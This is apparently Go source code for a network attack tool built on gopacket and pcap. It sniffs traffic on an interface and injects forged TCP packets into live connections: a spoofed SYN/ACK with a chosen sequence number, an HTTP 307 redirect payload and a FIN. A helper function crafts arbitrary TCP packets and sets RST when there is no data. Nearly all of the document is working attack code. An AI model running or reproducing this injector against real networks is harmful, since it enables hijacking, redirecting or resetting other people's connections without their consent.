func sendPacket(handle *pcap.Handle, sMac, dMac net.HardwareAddr, sIp, dIp net.IP, sPort, dPort layers.TCPPort, IpId uint16, IpTtl uint8, TcpSeq, ack uint32, WindowsSize uint16, data []byte) error { eth := layers.Ethernet{ SrcMAC: sMac, DstMAC: dMac, EthernetType: layers.EthernetTypeIPv4, } ip4 := layers.IPv4{ SrcIP: sIp, DstIP: dIp, Id: IpId, Flags: layers.IPv4DontFragment, Version: 4, TTL: IpTtl, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SrcPort: sPort, DstPort: dPort, Seq: TcpSeq, ACK: true, Ack: ack, Window: WindowsSize, PSH: true, // 立刻处理 } if len(data) == 0 { tcp.RST = true } tcp.SetNetworkLayerForChecksum(&ip4) buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } payload := gopacket.Payload(data) if err := gopacket.SerializeLayers(buf, opts, ð, &ip4, &tcp, payload); err != nil { return err } return handle.WritePacketData(buf.Bytes()) }
func main() { defer util.Run()() var eth layers.Ethernet var dot1q layers.Dot1Q var ip4 layers.IPv4 var tcp layers.TCP var payload gopacket.Payload r := rand.New(rand.NewSource(time.Now().UnixNano())) hijackSeq := r.Uint32() decoded := make([]gopacket.LayerType, 0, 4) streamInjector := attack.TCPStreamInjector{} err := streamInjector.Init("0.0.0.0") if err != nil { panic(err) } handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) if err != nil { log.Fatal("error opening pcap handle: ", err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal("error setting BPF filter: ", err) } parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &dot1q, &ip4, &tcp, &payload) log.Print("collecting packets...\n") for { data, ci, err := handle.ZeroCopyReadPacketData() if err != nil { log.Printf("error getting packet: %v %s", err, ci) continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("error decoding packet: %v", err) continue } // craft a response to the client // here we reuse the client's header // by swapping addrs and ports // swap ip addrs srcip := ip4.SrcIP ip4.SrcIP = ip4.DstIP ip4.DstIP = srcip // swap ports srcport := tcp.SrcPort tcp.SrcPort = tcp.DstPort tcp.DstPort = srcport // empty payload for SYN/ACK handshake completion streamInjector.Payload = []byte("") seq := tcp.Seq tcp.Seq = hijackSeq tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1)) tcp.ACK = true tcp.SYN = true tcp.RST = false err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("SYN/ACK packet sent!\n") // send rediction payload redirect := []byte("HTTP/1.1 307 Temporary Redirect\r\nLocation: http://127.0.0.1/?\r\n\r\n") streamInjector.Payload = redirect tcp.PSH = true tcp.SYN = false tcp.ACK = true tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1)) tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(1)) err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("redirect packet sent!\n") // send FIN streamInjector.Payload = []byte("") tcp.FIN = true tcp.SYN = false tcp.ACK = false tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(2)) err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("FIN packet sent!\n") } }